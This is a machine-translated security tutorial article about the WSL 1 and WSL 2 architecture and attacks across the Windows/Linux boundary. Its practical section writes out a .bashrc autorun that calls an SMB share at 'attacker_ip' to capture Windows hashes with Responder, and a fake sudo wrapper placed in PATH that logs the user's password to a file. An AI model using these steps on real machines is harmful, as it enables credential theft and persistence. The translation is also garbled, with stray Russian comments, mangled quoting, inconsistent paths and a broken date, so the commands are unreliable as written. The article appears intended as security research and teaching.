Hej, habr! OTUS lanserar en ny kursström i oktober . I väntan på kursstart delar vi med oss av en artikel skriven av en av våra lärare, Alexander Kolesnikov.
Under 2016 introducerade Microsoft den nya WSL-tekniken för IT-gemenskapen (Windows Sundersystem för Linux), vilket i framtiden gjorde det möjligt att förena tidigare oförsonliga konkurrenter som kämpade för popularitet bland både vanliga och avancerade OS-användare: Windows och Linux. Denna teknik gjorde det möjligt att använda Linux OS-verktyg i en Windows-miljö utan att behöva köra Linux, till exempel med Multi-boot. På Habr kan du hitta ett stort antal artiklar som beskriver fördelarna med att använda WSL. Men tyvärr, vid tidpunkten för den här artikelns skapelse, hittades inga studier om säkerheten för en sådan symbios av operativsystem på denna resurs. Detta inlägg kommer att vara ett försök att rätta till detta. Artikeln kommer att prata om funktionerna i WSL 1- och 2-arkitekturerna och undersöka flera exempel på attacker på system som använder dessa tekniker. Artikeln är uppdelad i 2 delar. Den första kommer att tillhandahålla de viktigaste teoretiska attackmetoderna från Linux och Windows. Den andra artikeln handlar om att sätta upp en testmiljö och reproducera attackerna.
WSL 1: arkitektoniska egenskaper
För den mest exakta dykningen i WSL-säkerhetsfrågor är det nödvändigt att bestämma de viktigaste nyanserna i samband med implementeringen av delsystemet. En av de viktigaste användaruppgifterna som löses av WSL är förmågan att arbeta via en Linux-terminal på en värd som kör Windows OS. Dessutom var kompatibiliteten som erbjöds så inbyggd att Linux-körbara filer (ELF) kunde köras direkt på ett Windows-system. För att uppnå dessa mål skapades ett speciellt undersystem i Windows 10 som låter dig köra Linux-applikationer med hjälp av en uppsättning specifika systemanrop - sålunda gjordes ett försök att kartlägga en uppsättning Linux-syscalls på Windows. Detta implementerades fysiskt genom att lägga till nya drivrutiner och ett nytt processformat. Visuellt såg arkitekturen ut så här:
Faktum är att interaktionen med operativsystemet Linux organiserades genom flera kärnmoduler och en speciell typ av process - pico. Från diagrammet ovan kan du se att processen som körs på Linux-instansen på värden måste vara inbyggd och måste använda samma resurser som vanliga Windows-applikationer. Men hur ska man uppnå detta? I projekt Processkoncept för Windows utvecklades som gav alla nödvändiga komponenter i operativsystemet (beroende på dess version) för att köra en applikation av ett annat operativsystem.
Observera att den föreslagna abstraktionen gjorde det möjligt att inte fokusera på operativsystemet (särskilt Windows), där processen för ett annat operativsystem förväntas starta, och föreslog en allmän strategi.
Således kan alla program i pico-processen köras utan hänsyn till Windows-kärnan:
- Problem med kompatibilitet och översättning av systemsamtal måste lösas av särskilda leverantörer;
- Åtkomstkontroll måste göras via Säkerhetsmonitorn. Monitorn sitter i kärnan och därför behövde Windows en uppgradering i form av en ny drivrutin som skulle kunna fungera som leverantör för sådana processer. Prototypen av pico-processen presenteras schematiskt nedan:
Eftersom Linux-filsystemet använder skiftlägeskänsliga fil- och katalognamn, lades två typer av filsystem till i Windows för att fungera med WSL - VolFS och DriveFS. VolFS är en implementering av Linux-filsystemet, DriveFS är ett filsystem som fungerar enligt Windows-regler, men som har möjlighet att välja skiftlägeskänslighet.
WSL 2
WSL 1 hade ett antal begränsningar som inte gjorde att den kunde användas för att lösa det maximala utbudet av uppgifter: till exempel hade den inte förmågan att köra 32-bitars Linux-applikationer, och det var omöjligt att använda enhetsdrivrutiner. Därför släpptes WSL 2020 2, vilket ändrade tillvägagångssättet för att bygga delsystemet. WSL 2 är en optimerad virtuell maskin som matchar resursförbrukningens egenskaper hos WSL 1. Nu, beroende på de problem som lösts av Windows OS-användaren, kan du välja den version som krävs av Linux-undersystemet. För att mildra möjliga sårbarheter implementerades WSL 2 baserat på Hyper-V i Windows 10. I det här formuläret har Windows möjlighet att köra Linux-operativsystemkärnan isolerat. Det är värt att komma ihåg att version 1 av WSL introducerades som en betafunktion som var tänkt att visa riktningen för Windows-utvecklingen inom detta område, så övergången till Hyper-V var oundviklig. Den slutliga arkitekturen ser ut så här:
I den här versionen har Windows- och Linux-kärnorna sina egna resurser och korsningen finns bara i filsystemet, men denna korsning är inte komplett. Interaktion mellan filsystem utförs genom ett klient-serveromslag som fungerar med 9P-protokollet.
Idag erbjuder Microsoft möjligheten att växla mellan WSL 1 och WSL 2. Båda versionerna är tillgängliga för användning.
WSL-säkerhet
För närvarande finns det flera verk som beskriver några tillvägagångssätt för att använda legitima OS-verktyg för att attackera kommunikationen mellan delsystem. Vi kommer att använda deras skript för att kontrollera relevansen av attackerna i skrivande stund. Allmän lista över attacker och scenarier:
1. Implementering av filsystem: åtkomsträttigheter, tillgång till delade kataloger/mekanismer för datautbyte.
Forskning utfördes för att fastställa brott mot tillträdesregler från Linux FS->Windows FS, Windows FS->Linux FS. Forskning har visat förmågan att modifiera en given fil inom måloperativsystemet. Det gjordes även försök att ersätta, skapa dubbletter och ta bort delar av filsystemen.
Scenario:
- A. Attack från operativsystemet Windows - modifiering av filer från katalogen /etc i Linux OS.
- B. Attack från operativsystemet Linux - modifiering av filer i kataloger:
C:Windows,C:Program Files,C:Users<User>
2. Implementering av nätverksstacken.
Forskningen utfördes med hjälp av exempel på attacker från operativsystemet Linux på Windows. Funktionerna i nätverksstacken användes, nämligen autentiseringsmekanismer på olika resurser.
Scenario:
- Öppnar åtkomst till en port som är upptagen på ett Windows-system
- Öppna en port utan lämpliga rättigheter
- Kör omvänt skal med elf-fil på Windows operativsystem.
3. Dölja lanseringen av skadliga programvaruprocesser med WSL-undersystemet.
Forskningen baserades på ett enkelt faktum - säkerhetsundersystem kan inte fånga upp händelser i en annan kärna som fungerar med en legitim leverantör från operativsystemet i fallet med WSL 1. I fallet med WSL 2 finns det inget sätt att se händelser som inträffar i en separat kärna i en lätt virtuell maskin.
Scenario:
1) Starta applikationen för fjärråtkomst till systemet och visa de loggade händelserna.
WSL 1-experiment: hashinterception (Windows)
Äntligen kom vi till den praktiska delen. Först måste du ställa in testmiljön. Alla experiment kommer att utföras på en bänk med installerat Windows 10 2004. Ubuntu 18.04-avbildningen valdes som operativsystemavbildning för WSL. Bilden valdes slumpmässigt, och alla andra kommer att fungera likadant. Kommandon för att sätta upp ett stativ:
Du måste först starta powershell.exe som administratör.
För WSL 1 måste du köra kommandona:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Efter att ha startat om stativet kan du anropa bash-kommandot. Om allt fungerade korrekt kommer du att se utdata som liknar detta i Windows-konsolen:
Vi kommer att använda Kali Linux-distributionen som angriparens maskin; alla maskiner måste vara på samma lokala nätverk.
Låt oss anta att vi har oprivilegierad tillgång till WSL på en Windows-maskin. Låt oss försöka attackera operativsystemet Linux genom att anropa ett kommando från Linux. För att implementera attacken kommer vi att använda en enkel autorun-teknik - vi kommer att lägga till vårt skript för exekvering i Linux-miljön. För att göra detta måste du ändra filen .bashrc.
På en maskin med WSL kör vi:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitPå en Kali Linux-maskin kör vi:
1. Responder -I eth0 -rdvwPå en Windows-maskin, låt oss starta bash.
Vi väntar på resultatet på Kali Linux-maskinen:
Således fick vi Windows-användarhasharna genom WSL-undersystemet genom att köra kommandot på Linux-systemet.
WSL 1-experiment: få användarlösenord (Linux OS)
Låt oss göra ett experiment till. Under denna kontroll kommer vi att lägga till filen .bashrc flera kommandon för att få användarlösenordet för Linux-operativsystemet.
Låt oss starta bash och ange kommandona:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
För att framgångsrikt slutföra attacken måste användaren Sam anropa sudo i Linux-terminalen. Efter detta kommer användarlösenordet för Linux OS att finnas i filen pass.txt:
Genomförandet av attackerna gavs endast för teoretisk information.
Nästa del av artikeln kommer att beskriva implementeringen av 9P-protokollet, överväga skapandet av en skanner för detta protokoll och även utföra en attack med det.
Lista över begagnad litteratur
Läs mer
Källa: will.com